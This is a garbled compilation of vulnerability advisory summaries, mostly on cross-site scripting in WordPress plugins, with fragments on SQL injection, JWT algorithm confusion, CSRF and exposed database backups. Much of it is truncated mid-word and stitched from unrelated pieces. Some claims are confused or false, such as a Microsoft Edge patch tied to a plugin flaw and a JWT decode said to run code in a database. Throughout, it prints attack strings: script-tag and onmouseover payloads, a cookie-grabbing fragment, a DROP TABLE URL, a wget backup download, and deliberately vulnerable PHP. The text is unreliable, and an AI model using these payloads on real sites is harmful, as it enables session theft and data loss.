Vendors typically post updates, patches, or mitigation instructions to address vulnerabilities in their software. In this case, Microsoft has released a patch for the vulnerability. The link is <https://support.microsoft.com/topic/fix-for-a-cross-site-scripting-xss-vulnerability-in-microsoft-edge-33326>. This is a type of Cross-site Scripting (XSS) issue, which arises from improper neutralization of input during web page generation.

The vulnerability in question is located in the [CVE-2023-326](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-326) entry. When other users view content generated by the plugin, the malicious script may execute in their browser.

The vulnerability occurs because user input is not sanitized before being output to the page. The following PHP code illustrates the issue:

```
$userInput = $_GET['user_input'];
echo "<div>" . $userInput . "</div>";
```

The vulnerability is also present in the [CVE-2023-322](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-322) entry.

This vulnerability is found in the ExpressTech Quiz And Survey Master plugin for WordPress. It affects versions up to and including 8.1.13 of the ExpressTech Quiz And Survey Master plugin for WordPress.

The vulnerability is located in the [CVE-2023-322](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-322) entry. When this input is displayed on a web page without proper sanitization, the script could be executed.

The vulnerability arises from improper neutralization of user input during web page generation.

malicious scripts can execute in their browsers, leading to unauthorized actions such as stealing cookies with the following: `<script>alert('XSS');</script>`. If this input is not properly sanitized by the plugin, it is a vulnerability?\_s\_id=cve

This is a scripting (XSS) vulnerability, which means it involves the improper neutralization of user input during the processing of data from the user's browser. This is a critical vulnerability.

Impact and Exploitability

This link should provide further details about the vulnerability and potentially available patches. It may include information on how the vulnerability was exploited, the steps taken to mitigate it, and any known fixes or workarounds. For example: ``html<a href='https://vulnerable.site/drawit?action=draw&input=<script>document.cookie'>The quick brown fox jumps over the lazy dog</script></a>'. If this exploit is not yet available, alternatives include disabling the plugin until a fix is released or implementing better sanitization of user input. XSS attacks allow attackers to inject malicious scripts run in the context of the user's session, allowing them to impersonate users, steal cookies, or perform other malicious actions.

[Cross-site Scripting Vulnerability?\\_s\\_id=cve](#)

The script could then be executed in the context of the victim's browser session when they visit the page containing the malicious input. This type of vulnerability is known as Cross-site Scripting (XSS). Additionally, web administrators should regularly audit their plugins for updates and potential vulnerabilities. This specific vulnerability was found in the Codez Quick Call Button plugin, which affects versions up to and including 2.1.8. Cross-site scripting vulnerabilities can lead to serious issues, such as stealing session cookies or redirecting users to malicious sites.

[Encoder Bundle WordPress Email Encoder Bundle Plugin 2.1.8 Cross-site Scripting Vulnerability?\\_s\\_id=cve](#)

The mmrs151 Daily Prayer Time plugin up to and including 2023.10.13.

allowing session cookies or personal data, defacing the website, or redirecting users to malicious sites. The Daily Prayer Time plugin. For example, an attacker could submit a script via a form or URL parameter that the plugin processes.

[Charitable Donations & Fundraising Team Donation Forms WordPress Daily Prayer Time Plugin 2023.10.13 Cross-site Scripting Vulnerability?\\_s\\_id=cve](#)

[Charitable Donations & Fundraising Team Donation Forms WordPress Daily Prayer Time Plugin 2023.10.13 Cross-site Scripting Vulnerability?\\_s\\_id=cve](#)

The user's browser in the context of the vulnerable website. This could allow the attacker to steal session cookies or modify web content. This means that the plugin doesn't correctly escape or sanitize data received from a user, making it vulnerable to a Cross-site Scripting (XSS) attack, which is caused by improper neutralization of user input.

leading to information theft, session hijacking, or other malicious actions.  
ore immediately upon disclosure.

ip-profile-shortcodes-extra-plugin-2-5-2-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
ser clicks on the link and is taken to a compromised web page generated by the plugin, the payload w  
look like the following: Suppose a plugin has a shortcode that outputs user input directly to a web page  
d in the Waterloo Plugins BMI Calculator Plugin for WordPress, affecting versions up to and including :

n is used. This could lead to stealing cookies, session tokens, or other sensitive information, defacing t  
ute the attacker's script in the context of the user's browser session.

ield that the BMI Calculator Plugin echoes back to the user without proper sanitization.  
tor-plugin-plugin-1-0-3-cross-site-scripting-xss-vulnerability?\_s\_id=cve

er-rss-widget-plugin-2-8-1-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
properly sanitized by the Better RSS Widget plugin. When a user visits this compromised page, the mali  
script tag could be inserted into a widget's field or URL parameter. Once loaded within a page, the alert  
s identified in the Bamboo Mcr Bamboo Columns plugin for WordPress, affecting versions up to and in  
t that other users see.

ross-site-scripting-xss-vulnerability?\_s\_id=cve  
isent, personal data theft, or redirecting to malicious websites.  
their browsers, the script executes and could potentially steal their session cookies, giving the attacker

gin-1-0-5-cross-site-scripting-xss-vulnerability?\_s\_id=cve.  
anism that is improperly sanitized. When other users view the page containing this malicious code, it e  
, executing arbitrary JavaScript in the context of the user's session, accessing sensitive information wit

ordpress-ajax-domain-checker-plugin-1-3-0-cross-site-scripting-xss-vulnerability?\_s\_id=cve  
users view pages generated by the plugin where this input is not properly sanitized, the code execute:

'veb Page Generation' vulnerability, which is categorized as a Cross-site Scripting (XSS) issue. XSS vulne

## [dion-plugin-2-6-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#)

The Themepoints Accordion plugin fails to properly sanitize this input when generating a webpage, thus allowing attackers to inject malicious code into the generated content. This can be used to infect their systems with malware, deface web properties, or redirect them to fraudulent sites. The Tintina Uechi Add Widgets to Page plugin for WordPress, affecting versions up to and including 1.3.2, also fails to properly sanitize user input, potentially impacting the confidentiality, integrity, and availability, and whether there are any known mitigations.

:cross-site-scripting-xss-vulnerability?\_s\_id=cve

JRL or post data containing script tags like '`<script>alert('XSS');//</script>`'. When this input is processed, the plugin should immediately update the plugin to the latest version where the vulnerability has been patched. If the user can control the website, or potentially access sensitive information stored in users' browsers, such as cookies or session tokens, this is a critical vulnerability.

lers, image galleries, and animation effects on WordPress websites.

As the affected page on a WordPress website with the vulnerable version of LayerSlider installed, the developer should release security patches once a vulnerability like this is identified, so keeping the software up to date is crucial. [scripting-xss-vulnerability](#)

be known as Cross-site Scripting (XSS), where an attacker can inject malicious scripts into web pages via

f a user's browser, leading to potential theft of cookies, session tokens, or sensitive information, defac

malicious code will execute within their browser, potentially leading to unauthorized actions being taken and can perform actions like stealing cookies, capturing sessions, or redirecting the user to a phishing site. For example, the URL might look like <http://example.com/?url=https://attacker.com/phishing>. The injected script part is `<script>alert('XSS');</script>`, where the script part is the injected JavaScript intended to run in the user's browser. This results in a reflected cross-site scripting (XSS) vulnerability.

ie type known as Cross-site Scripting (XSS). XSS vulnerabilities occur when an application does not properly validate user input. This security flaw can allow attackers to execute arbitrary JavaScript code in the context of the victim's browser.

[7-reflected-cross-site-scripting-xss-vulnerability?\\_s\\_id=cve](#), where you can learn more about the specific vulnerability. An attacker might create a hyperlink that includes a script tag. When an unsuspecting user clicks on the link, the script is executed in the context of the user's browser, allowing the attacker to steal sensitive information or execute arbitrary JavaScript code. The CVSS score provides a quantitative measure of the severity of the vulnerability. Since there's no Base Score given, we can focus on the Impact score, which is 10.0. This indicates that the vulnerability allows an attacker to gain unauthorized access to sensitive data or execute arbitrary code on the user's machine.

in-3-2-0-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve

URL parameter and echoes it back to the user. For example, a malicious user could craft a URL like '<http://example.com?user=;DROP+TABLE+users;>'

s session, potentially allowing the attacker to steal cookies, session tokens, or perform actions on behalf by tricking a user into clicking a malicious link, submitting a form, or navigating to a malicious website Notifier Lite plugin for WordPress. This particular plugin is affected up to version 1.11.0.

Notifier-lite-plugin-1-11-0-reflected-cross-site-scripting-xss-vulnerability?\_s\_id=cve, which likely include webpage without proper sanitization. When a victim visits this URL, the script executes in their browser

ould allow for directory traversal, and since the attacker must be authenticated and have access to the

he vulnerability to delete critical system files, which could result in a denial of service or potentially all  
re the end-of-life notification for Vigor2960 is published.

which is commonly known as a Cross-site Scripting (XSS) vulnerability.

-scripting-xss-vulnerability?\_s\_id=cve

lified pseudo-code snippet to illustrate the issue: ``// A function that takes user input and adds it to the  
of users to malicious sites, and performing actions on behalf of users without their consent by executing  
n's interface. If the input is not correctly sanitized by the Premio Chaty plugin, the script could then be  
ue, which arises due to improper neutralization of user input during web page generation.

uld lead to unauthorized access to user session data, website defacement, or redirection to malicious s

with the vendor for a security update or a patched version that resolves the issue.

:s-bus-ticket-booking-with-seat-reservation-plugin-5-2-5-cross-site-scripting-xss-vulnerability?\_s\_id=c  
y sanitized by the plugin and is rendered directly in the web page, the script executes in the context of  
tokens, manipulating or corrupting the contents of the affected web page, redirecting users to phishi  
g Web Page Generation (Cross-site Scripting)' vulnerability. This means that it pertains to a Cross-site S

rce-product-carousel-slider-plugin-3-3-5-cross-site-scripting-xss-vulnerability?\_s\_id=cve

ed on the impact and exploitability metrics as defined by the CVSS version being used.

Is to sanitize user input. In the case of CVE-2023-47755, an attacker might insert a payload such as '<sc  
cess to the user's session token; stealing sensitive information like login credentials; defacing the web  
tive API calls such as those used for listing users, managing files, and obtaining audit-related data.

, file management, and audit information.

proper permissions, or access audit logs. Such actions could lead to data breaches, unauthorized system compromise of the system's integrity. The vulnerability compromises the security of the Headwind MDN

is instead embedded directly into the source code and has been made available publicly on GitHub. This approach allows for secure vault solutions to store such secrets. This ensures that the secrets are not exposed in the codebase.

audulent JWT tokens. With these tokens, an attacker might gain unauthorized access to the application. The severity of the vulnerability and can be crucial for system administrators and developers in prioritizing the vulnerability.

\PK and arbitrary file uploads. This vulnerability can be exploited by attackers to upload HTML files which contain malicious code to be executed in the browser. The attacker could add more malicious JavaScript code like:

```
ipt> alert('Your session has been compromised!'); // The attacker could add more malicious JavaScript code here
```

s soon as possible. If an update is not yet available, restricting file uploads to trusted users, implement a patch or workaround to mitigate the risk, and communicate the details of the vulnerability, its potential impact, and suggested remediation steps.

modified 'path' parameter, pointing to a file that the attacker wishes to move. For example, a request can reveal the vulnerability, its exploitation, potential impacts, and possibly mitigations or patches issued to address it. This is because there is a security weakness in the application that could lead to unauthorized exposure of user credentials.

:ess, data breaches, or compromising of user accounts.

I use those credentials to log in as an authenticated user, bypassing normal access controls, and execute a parameter named 'newColor' due to insufficient input sanitization. This flaw affects versions up to 1.8.1. Exploiting the 'newColor' parameter. This can lead to various attacks such as webpage defacement, altering content, hiding or modifying content, redirect users to malicious sites, or compromise the usability and integrity of the application.

I reference to the WordPress plugin repository changelog.

her source is the changeset link for the MainWP Dashboard plugin on the WordPress' official plugin repository like `https://example.com/wp-admin/admin-ajax.php?action=mainwp_change_site_color&newColor=`

In versions up to and including 1.0.14. It arises from insufficient input sanitization and output escaping of 'shortcode attributes, which are not properly sanitized. This script could then be executed in the context of

ould then be stored and executed in users' browsers when they accessed pages containing the injected script, enabling for stored XSS attacks to occur.

y\_heatmap\_tracking.php#L1322. WordPress plugins changeset details: <https://plugins.trac.wordpress.org/changeset/2982005/tabs-pro#file23>

ing on user-supplied attributes within the plugin's 'column' shortcode. This vulnerability allows authenticated users to add a shortcode to a post or page containing a script like: [column onmouseover='al

is not available, users can deactivate and remove the plugin or implement additional input sanitation measures. - <https://www.wordfence.com/threat-intel/vulnerabilities/id/d96e5986-8c89-4e7e-aa63-f41aa13eeff> pact, but an exact score would determine its severity according to standards like the Common Vulnerability Scoring System (CVSS). This could result in a compromise of user data and trust, and could be used as a part of larger attacks. The vulnerability stems from insufficient input sanitization and output escaping on user-supplied attributes. An attacker could insert a malicious payload and inject it via the plugin's 'vk-blocks/ancestor-page-list' block. This payload could consist of a series of shortcodes that execute harmful scripts.

ices include links to the plugin's repository on WordPress.org and analysis by threat intelligence services. Wordfence also provides automated updates to all WordPress plugins to prevent exploitation of known issues. As a general security practice, it is recommended to keep all software up-to-date, as vulnerabilities are often discovered and patched through the Common Vulnerabilities and Exposures (CVE) database (NVD), determined by the Common Vulnerability Scoring System (CVSS). This score represents the severity of the vulnerability. In this case, the vulnerability arises from insufficient input sanitization and output escaping, allowing authenticated users to inject malicious scripts into webpage content through the plugin's shortcodes due to a lack of proper validation and escaping.

al.php?rev=2413204#L38- <https://www.wordfence.com/threat-intel/vulnerabilities/id/f8ba38c3-51d2> d include a shortcode from the CPO Shortcodes plugin, injecting a script like: [cpo\_shortcode\_testimon manipulating user sessions, or performing actions on behalf of users without their consent. This vulnerability can be exploited by unauthenticated attackers.

odes plugin. Unauthenticated attackers would not be able to exploit this vulnerability unless they found a way to upload a file to the site. The issue arises from insufficient input sanitization and output escaping, which means that when the injected page is loaded, the attacker's script would execute in the user's browser context. For example, an attacker could use this vulnerability to perform account takeovers, defacement of the website, manipulation of site content, phishing attacks directed at visitors, and other malicious activities. To mitigate this risk, it is recommended to keep the plugin updated to the latest version, as patches are often released to fix known vulnerabilities. If a patch is not available, consider disabling or removing the vulnerable plugin until a patched version is released. Additionally, it is essential to update the WordPress core and all installed plugins to the latest versions, as updates address known security issues. It is also recommended to use a plugin like Wordfence Security to monitor for such vulnerabilities and provide automated updates and alerts.

ed attributes. These scripts would then execute whenever a user accesses a page with the injected cor

2842. <https://plugins.trac.wordpress.org/changeset/2987987/garden-gnome-package#file13>. <https://>

ills to properly sanitize inputs, allowing attackers to inject malicious scripts. For this specific plugin, it v  
ode to inject a malicious script. This script could be designed to steal cookies, session tokens, or other s  
ation and output escaping, affecting all versions up to and including 3.5.0. Attackers with at least conti

repository for the latest version.

irity tools, or the developers themselves.

s view the affected pages, the malicious scripts execute in their browsers, potentially leading to data th  
rowsers. This can lead to compromised user data, administrator account takeover, and other security  
codes.php#L267) and a Wordfence threat intelligence vulnerability report (<https://www.wordfence.c>) uses the 'sponsors' shortcode to inject a malicious script into a page. When a user, potentially an admi  
adowbox' shortcode in versions up to and including 1.7.13. This is due to insufficient input sanitization

okies, hijacking sessions, redirecting users to malicious sites, or compromising the site by altering its cc

```
```function process_dropshadowbox_shortcode($atts) { $user_content = $atts['user_content']; // Use  
shing site, defacing the website by altering its content, or even using the vulnerability as a vector for n  
wser/drop-shadow-boxes/tags/1.7.12/dropshadowboxes.php#L319- The change set for the plugin that  
ting (XSS) vulnerability that arises from insufficient input sanitization and output escaping, allowing au  
s into website pages, which will then execute in the browsers of users who view those pages. This cou
```

lumn-shortcode.php#L97 or on the Wordfence vulnerability database: <https://www.wordfence.com/t>e that contains a script tag with malicious JavaScript to a WordPress page or post. For example, an atta
on the server. When other users visit the compromised page, the malicious script executes, potentiall
(CVSS) at that time.

cluding, 3.3.15, which arises from insufficient input sanitization and output escaping on user-supplied
scripts that execute when a user accesses a compromised page, potentially leading to data theft, sessio

plugin is installed.

es the 'woo-related' shortcode with malicious JavaScript as one of the attributes. When other users (lik
urity patches. In the case of CVE-2023-5234, users should look for updates to the Related Products for
products.php#L303, the WordPress plugin repository's changeset log at <https://plugins.trac.wordpress>. This vulnerability arises due to insufficient input sanitization and output escaping on user-supplied at
uts, the code would be stored and then rendered without proper escaping. When other users, includin

y has been patched, if such a version is available.
pending on what further vulnerabilities might be exploited as a result of the initial XSS attack.
pt as an attribute value:[shortcode-weather-atlas city="New York" onmouseover="javascript:alert('XSS

to the source code where the vulnerability existed can be found in the plugin's Trac history, and further
, including adding shortcodes that could contain the malicious scripts.

inding 1.8. The vulnerability stems from insufficient input sanitization and output escaping on user sup

ckers with at least contributor-level access can craft a malicious input that, once saved, will be rendered as malicious scripts using the 'map' shortcode.

<https://trac.wordpress.org/browser/tcd-google-maps/trunk/design-plus-google-maps.php?rev=2700917#L1>
ve information from users, defacing websites, redirecting visitors to malicious sites, and potentially gaining the issue.

nd including 2.7. The vulnerability arises from the plugin's 'csvsearch' shortcode due to insufficient input

he plugin's 'csvsearch' shortcode on a page. This injected malicious script will then execute whenever a user performs actions, defacing websites, redirecting users to malicious sites, or compromising the security and integrity of the site.

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0722>
at includes the 'csvsearch' shortcode with a crafted payload. For example, the attacker might use the shortcode `<script>alert('XSS')</script>`.

age.
user, theft of session tokens, or sensitive data exposure.

:=<script>alert('XSS');</script>"]. If the form output is not properly sanitized and escaped, this script could be executed when a user, such as an admin, views the submitted contact form on the backend, the malicious script could be executed.

ccess to inject malicious scripts that are executed when a user accesses a page, it can be seen as a critical vulnerability.

s section. These resources provide technical details and updates related to the vulnerability.
n settings. When another administrator accesses the dashboard, the injected script could be executed, leading to malicious sites, or even conducting further attacks against the site's users or infrastructure.
of Ultimate Dashboard for WordPress later than 3.7.7. Always check the plugin's official resource or the documentation for more information.

tions, and computed fields. This could allow a user with the relevant permissions to craft a malicious page object permissions to restrict which users can create or edit the affected types of user-authored content

```
content = mark_safe(user_input) # user_input might contain <script>alert('XSS')</script>``In contrast, content would then execute in the context of other users' browsers when they view pages that include the compilation
```

regarding `mark_safe()` and `format_html()` functions, and the corresponding security advisories

[What is a stored forgery-CSRF vulnerability? _s_id=cve](#)

This is a hidden request. This request could perform unwanted actions on behalf of the administrator, such as changing configuration settings on the web server. This vulnerability can be exploited due to an absence of any form of authentication mechanism.

Authentication on the web server enables potentially malicious actors to see through cameras, which could lead to

which details multiple vulnerabilities including CVE-2023-3104 at INCIBE-CERT's website.

This attacker could then use their browser or a custom script to interact with the server API, possibly reading or writing data to the server without any authentication. An example would be navigating to the web server's IP address in a web browser to trigger a Cross-Site Scripting (XSS) issue. This means that the vulnerability allows for stored XSS attacks, where an attacker can

detailed information about the vulnerability.

When other users interact with the affected pages, the malicious scripts execute, potentially leading to various actions, such as comments or posts. If the application doesn't properly sanitize the input, an attacker could successfully make a seemingly legitimate user post or submit data through a form that includes the malicious script.

to actions being taken on behalf of a user without their consent or knowledge.

CVE-2023-080104.

ated to the IBM Sterling B2B Integrator Standard Edition visits or interacts with this malicious content, such as comments or posts. This involves the graphapi app's use of a third-party GetPhpInfo.php library that could unintentionally expose sensitive information, such as configuration details or license keys. Applications running on the .3.x series are susceptible to this vulnerability.

ord, mail server credentials, license key, and other potentially sensitive configuration details, through the Docker deployment. Additionally, they should verify that no sensitive data is accessible through any PHP information leak. It is also recommended to check if any changes were made in the Docker deployment that addressed this specific issue before that time.

The graphapi app, and its URL could remain accessible unless the app is updated or other mitigations are applied. This is because the app may be leaking sensitive information about the PHP environment, environment variables, and the server configuration. This can lead to a buffer underrun when WebSocket compression is enabled, potentially leading to a buffer underrun caused by a remote exploit.

nds with a specific constant 4-byte string `{'0x00, 0x00, 0xFF, 0xFF}`. Although not directly attacker-controlled by the attacker, they do not entirely rule out the possibility.

bled by default and would need to be explicitly enabled for the vulnerability associated with CVE-2023

r89h-f468-62w3, and review the associated commits that fix the issue in the Cap'n Proto repository or runtime may be particularly affected by CVE-2023-48230.

web root of the application due to insufficient file input validation.

web-based management interface.

t further attacks.

\advisory/cisco-sa-ise-mult-j-KxpNynR

a script or executable that could modify the webserver's contents or establish a backdoor. Another scenario involves reflection testing or reviews of the application's functionality that involve testing the file upload feature. An authenticated, remote attacker convinces a user to view a malicious webpage, leading to the execution of arbitrary code. Malicious scripts that are executed in the context of the affected interface can introduce malicious scripts that are executed in the context of the affected interface. This allows attackers to insert and store malicious HTML or script content, which is then executed when a user visits the page. A user who cannot perform the stored XSS attack.

sco at: <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-uippf> stored, it could be executed by a user's browser when visiting the affected page. For instance: <script> can be used to interact with the user's session, or even carrying out actions on behalf of the user within the web-based management interface.

cripting (XSS) attack against a user of the interface.

ng site, or even carrying out actions on behalf of the victims, access to sensitive data, or redirecting users to malicious sites.

\advisory/cisco-sa-ise-mult-j-KxpNynR

In a web-based management interface, the malicious script could be executed in the context of the user's session. This occurs when a user embeds JavaScript code into input fields that is then rendered and executed by the browser, due to a lack of proper sanitization.

a entry at https://bugzilla.mozilla.org/show_bug.cgi?id=1801501.

/ascript:' URL scheme. The pop-up could then attempt to load an iframe with content from an insecure host. A path-traversal pattern "../" in the URL path could be exploited to override the specified host, potentially leading to an unintended destination, which may contribute to various security threats, including information disclosure.

ree slashes and path-traversal patterns are correctly parsed, preventing the host override vulnerability. Mozilla's official security pages provide more details on this issue.

i. This could result in unauthorized access to information, delivery of malware, phishing attacks, or other malicious activities.

Important for individuals and organizations to keep their software up to date with security patches to mitigate this vulnerability can be exploited to gain full control over the system with root privileges. It specifically states that it would be treated as a high or critical severity level, as the attacker could take full control over the

mands that the system interprets and executes with root privileges. An example of this could be a re-injection attack. In the provided information, any system with the vulnerable component that is accessible by an unauthorized user could lead to various malicious activities such as data theft, installation of malware, service disruption, etc. Identifying input fields that are processed by the server without proper sanitization and inserting shellcode may have been made available at the time of disclosure or might require further analysis by experts. It is also possible to perform a Denial-of-Service (DoS) attack, which could block access to the overlay configuration page in the web interface.

more details and instructions on how to obtain and deploy the solution.

Prevents users from accessing the overlay configuration page through the web interface of the Axis device.

-2023-21416-en-US-417790.pdf

credentials, the attacker would authenticate to the device's web interface and send crafted requests to such access, the vulnerability cannot be exploited.

through the use of a crafted JSON web token (JWT).

I've manipulating the token signature or claims to bypass authentication or authorization mechanisms. of a vulnerability.

:73d8d?pvs=4.

signature verification is not properly implemented, the attacker could alter the 'admin' field in the token.

:up.

the 'redirect-url' field in Forminator's form submission settings to inject a malicious script. This script

:o regularly check for security updates and apply patches as soon as they are released to minimize exposure to vulnerabilities. The `wp_kses_post` function is used to sanitize user input, but it does not handle all cases, such as the use of `wpautop` or `wpautop` with `wpautop`.

rsion or later to protect against this vulnerability.

enable attackers to inject arbitrary web scripts into WordPress pages, which would then be executed in the browser. The commit on GitHub where the patch was applied: <https://github.com/WordPress/WordPress/pull/4333>. The advisory also states that website owners should review their website for any signs of unauthorized changes or content that may have been injected.

en executed in a user's web browser.

or redirecting the user to malicious sites.

ce the user clicks on the link, the script executes in their browser without their knowledge. The script n execute arbitrary JavaScript in the web browser of a user by manipulating the 'include' parameter in 'ous website that includes a payload to be reflected and executed by the user's browser when visiting th epository at <https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38882>. More ir ojensis.example.com/ForExport.php?include=<script>alert('XSS')</script>` where `<script>alert('XSS')<` 's session. This can lead to various security breaches such as stealing session tokens, credentials, or pe back to the user. Additionally, implementing strong content security policies (CSPs) and using framewo

:h will execute in the web browser of a user when rendered.

nauthorized access to user data, or redirecting the user to a malicious web page.

e malicious script will execute in their browser.

?2023-38881- <https://www.os4ed.com/>

flected XSS vulnerability.

phishing emails or hosted on a compromised website. When the user clicks on the link, the JavaScript c allows unauthorized users to access database dumps containing sensitive data, including password has hisBackup<date>.sql'. An attacker can exploit this vulnerability by guessing the file name and directly a rity flaw.

ificant risk as it can potentially allow attackers to retrieve hashes that can be subjected to cracking atte

o download the database contents. This could lead to unauthorized access to user data, leakage of sen :he backup file by guessing the file name based on the date. For example: ``shellwget http://<target-sit 23-38880: [rly affects applications that use a public key with a 'BEGIN RSA PUBLIC KEY' header and verify JWTs wi ne dangers associated with this vulnerability.](https://github.com/dub-flow/vulnerability-research/tree/main/CVE-2023-38880- OS4ED's c location where database backups are stored to outside of the web root, implementing access controls erly prevent JWT algorithm confusion for all public key types, specifically with PEM formatted public ke</p></div><div data-bbox=)

s. This ensures the publicKeyPemMatcher is correctly implemented to avoid incorrect validation of JW milar to the following regex pattern change: Original line 29: ``regex/^--BEGIN RSA PUBLIC KEY+\$//``M might treat this token as using the RS256 algorithm due to the provided RSA public key and then error ell as the direct security advisory link:- The exact location in the source code where the vulnerability w cluding 5.0.4 of the plugin. The vulnerability stems from missing or improper nonce validation within t uld forge a request that, if executed by an administrator, might modify the plugin settings or insert ma

rowser/audio-merchant/trunk/audio-merchant.php#L951), and a vulnerability report by Wordfence (t

gin. When the administrator of a WordPress site with the vulnerable plugin clicks on the link, the action will trigger a privilege escalation, allowing the attacker to gain access to the database and change the passwords of other non-admin users, which can lead to an escalation of privileges for the attacker from non-admin to admin.

This vulnerability is particularly dangerous because it allows an attacker to gain administrative privileges within the application. Typically, manufacturers and cybersecurity experts handle such vulnerabilities discretely to prevent exploitation. LuxCal Web Calendar prior to 5.2.4L (SQLite version). It allows a remote unauthenticated attacker to execute arbitrary SQL commands on the application's database.

In this specific case, the attacker could use this capability to escalate their privileges within the application, potentially leading to session hijacking, theft of sensitive information, or other malicious activities.

The LuxCal download page (<https://www.luxsoft.eu/?download>) and forum (<https://www.luxsoft.eu/lcf>) describe the security issue described in CVE-2023-47175. Always ensure software is kept up-to-date with the latest security patches to prevent attackers from exploiting this vulnerability.

The LuxCal Web Calendar's database, dependent on the permissions of the database user that the web application connects to, can be exploited by an attacker if they have the ability to execute arbitrary SQL commands.

If the application does not properly sanitize user-supplied input correctly, the attacker's code could be executed within the context of the database. For example, consider the following code snippet from the LuxCal source code (https://github.com/luxsoft/luxcal/blob/v5.2.4L/app/controllers/api/v1/events_controller.rb#L55):

```
 55:      payload = JWT.decode(token, publicRSAKey, true, { algorithm: 'RS256' })
```

In this code, the token is not verified before being decoded. This means that an attacker can create a signed JWT token using their own RSA key and pass it to the application. The application will then decode the token and execute the attacker's code within the context of the database. To mitigate this vulnerability, the application should verify the token before decoding it.

Attackers can exploit this vulnerability by injecting malicious SQL code into the URL parameter.

Attackers can exploit this vulnerability by injecting malicious SQL code into the URL parameter.

Attackers can exploit this vulnerability by injecting malicious SQL code into the URL parameter.

Attackers can exploit this vulnerability by injecting malicious SQL code into the URL parameter.

Attackers can exploit this vulnerability by injecting malicious SQL code into the URL parameter.

potentially allow those users to view or delete jobs that they should not have access to according to the system's rules. It is important to ensure that the system is not at risk.

v-jx86-x666

This issue allows unauthorized users to view sensitive job information or delete jobs that they would normally not have the ability to do. It also allows authenticated users to access certain URL paths without proper authorization checks, revealing a list of job names and groups.

The vulnerability allows an attacker to view sensitive job information or delete jobs that they should not have access to. This could help an attacker in reconnaissance efforts, potentially leading to the execution of unauthorized code in a user's web browser.

on hijacking.

<http://application/1030bc63-0b37-4ac9-9ae0-9361c955a3cc/>).

leading to the execution of a script when the content is viewed by another user in their web browser. This allows an attacker to perform actions on behalf of the user without their consent, potentially compromising the security and integrity of the system. Once this vulnerability is addressed and their systems are secure from this specific threat.

This particular issue affects the Raise Mag and Wishful Blog themes for WordPress, which are created using version 2.0.1, both developed by Wishfulthemes.

On the affected website running the vulnerable theme, the JavaScript code executes within their browser, and is executed in the user's browser. Because the malicious script comes from the current request, it can be used to steal session cookies, redirecting the user to a phishing page, defacing the website, or running a drive-by download. Implementing general security best practices like validating and sanitizing user inputs, employing a white-list approach, and using secure coding practices (such as the raise-mag/wordpress-raise-mag-theme-1-0-7-cross-site-scripting-xss-vulnerability?_s_id=cve) and Wireshark to analyze network traffic for suspicious activity, can help prevent this type of attack. Additionally, using remote code execution through Cross-Site Request Forgery (CSRF).

This vulnerability could result in secret theft or possibly remote code execution if the victim is authenticated against the system. It is important to ensure that the system is properly authenticated to the correct server and that proper validation and session handling are implemented. By doing so, and ensuring proper validation and session handling on the server can help protect against such vulnerabilities. This security flaw allows attackers to create malicious web pages that can perform unauthorized actions on the system.

A site running DedeCMS v5.7. If an authenticated user visits this page, the CSRF exploit can make requests to change website data or administration settings, potentially leading to a loss of integrity and availability in the application.

These mechanisms, such as using anti-CSRF tokens that are properly verified for each state-changing request, can help prevent this type of attack. Additionally, using secure coding practices and implementing proper validation and session handling on the server can help protect against such vulnerabilities.

ions up to, and including, 1.12.7 of the plugin. This vulnerability arises from insufficient input sanitizations render the WordPress system more susceptible to the Stored XSS vulnerability found in the E site's pages. These scripts can then be executed in the context of a user's browser, leading to a range of attacks by security researchers. The references are available online at the following URLs: the WordPress plugin is not available, it is advisable to deactivate and remove the plugin until a patch has been provided. Use the `subject_identity_verification_required` setting within the admin settings that does not properly sanitize input. For example, if a setting field does not come from Python. When `subject_identity_verification_required` is set to 'True', one-time codes are sent to subjects. An attacker can exploit this by generating several hundred consecutive one-time codes, which may lead to account takeover.

cy preferences, such as data sales and sharing consent opt-ins or opt-outs.

/ed.

odes, the attacker can submit fraudulent data erasure requests to delete someone else's personal data: a one-time code `code = ''.join([random.choice('0123456789') for _ in range(6)])` return code# An attack could lead to information disclosure and assist in further exploitation of the system.

of the file in question, including sensitive elements of the server filesystem structure. For example, if /bin or later to mitigate the risk associated with this security issue.

ks such as local file inclusion (LFI), remote code execution (RCE), or elevate an SQL injection attack by using the Pimcore Admin Classic Bundle, which contains the fix for this issue.

here the vulnerability might be discussed in detail. Links to these resources are included in the CVE details. `$file_path, 'r');if (!$handle) { // This would expose the full path in the error message sent to the client structure, which can aid in crafting targeted attacks.2. Chaining Vulnerabilities:` Coupled with other vulnerabilities. This vulnerability affects versions up to and including 2.6.1.1. The issue arises due to inadequate handling of the `course_id` parameter value would execute the attacker's script in the context of the user's session, potentially leading to privilege escalation.

nended to disable the affected plugin until a security patch is released or implement other mitigating measures. This may include fixes for the issue, and a Wordfence threat intelligence page dedicated to this specific vulnerability. A malicious actor then disseminates this link through email phishing, social media, or other communication channels.

put escaping on user-supplied attributes through the 'shareaholic' shortcode. This security flaw is present in the Shareaholic plugin version 5.1.2 and earlier.

lic#file512. Wordfence threat intelligence report: <https://www.wordfence.com/threat-intel/vulnerabilities/shareaholic/> The Shareaholic plugin contains a shortcode with embedded JavaScript. When creating or editing a post, the attacker could insert this shortcode into the post content.

web page generation, allowing attackers to inject arbitrary JavaScript into a web page. When a victim visits a page containing the shortcode, the JavaScript is executed in the context of the user's session.

p_Doc_Ref=SEVD-2023-318-02&p_enDocType=Security+and+Safety+Notice&p_File_Name=SEVD-2023-318-02.html when saved and displayed on a user's browser. The malicious script could be used to steal cookies, session tokens, and perform other malicious activities. An attacker could craft a URL or submit a form that contains malicious JavaScript, such as:

s performed, thus leveraging an open redirect issue.

use the security of the web application's users by stealing cookies, session tokens, or personal information
Security+and+Safety+Notice&p_File_Name=SEVD-2023-318-02.pdf

rected to a malicious site where the attacker could perform an XSS attack. The attacker might then corrupt and utilize security mechanisms such as Content Security Policy (CSP) headers to defend against cross-site scripting (XSS). An example of this is shown in PHP:

```
```php
header('Location: ' . $_GET['url']);
exit();
```
